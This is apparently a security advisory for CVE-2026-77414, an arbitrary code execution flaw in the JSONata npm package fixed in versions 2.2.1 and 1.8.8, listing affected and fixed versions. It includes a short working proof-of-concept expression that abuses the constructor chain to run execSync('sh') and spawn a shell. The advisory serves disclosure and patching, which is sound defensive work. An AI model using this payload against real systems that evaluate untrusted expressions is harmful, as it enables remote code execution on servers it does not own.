Advisory

GHSA-2943-5xfg-gq5f

Also known as: CVE-2026-77414

Summary

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Details

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with
crafted expressions, due to a bypassable hasOwnProperty check in
environment.lookup
https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871

This was fixed in https://github.com/jsonata-js/jsonata/pull/799
(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)
which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
     $hasOwnProperty := $spread($string);
     $__proto__ := $constructor;
     $constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);

await expression.evaluate({});

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-08-21 20:58 UTC
Modified
2026-08-21 21:10 UTC

Affected packages and fixes

jsonata

npm · All systems

Affected

  • introduced 2.0.0, fixed 2.2.1 (semver)

Fixed versions

2.2.1

Fix

jsonata

npm · All systems

Affected

  • introduced 0, fixed 1.8.8 (semver)

Fixed versions

1.8.8

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences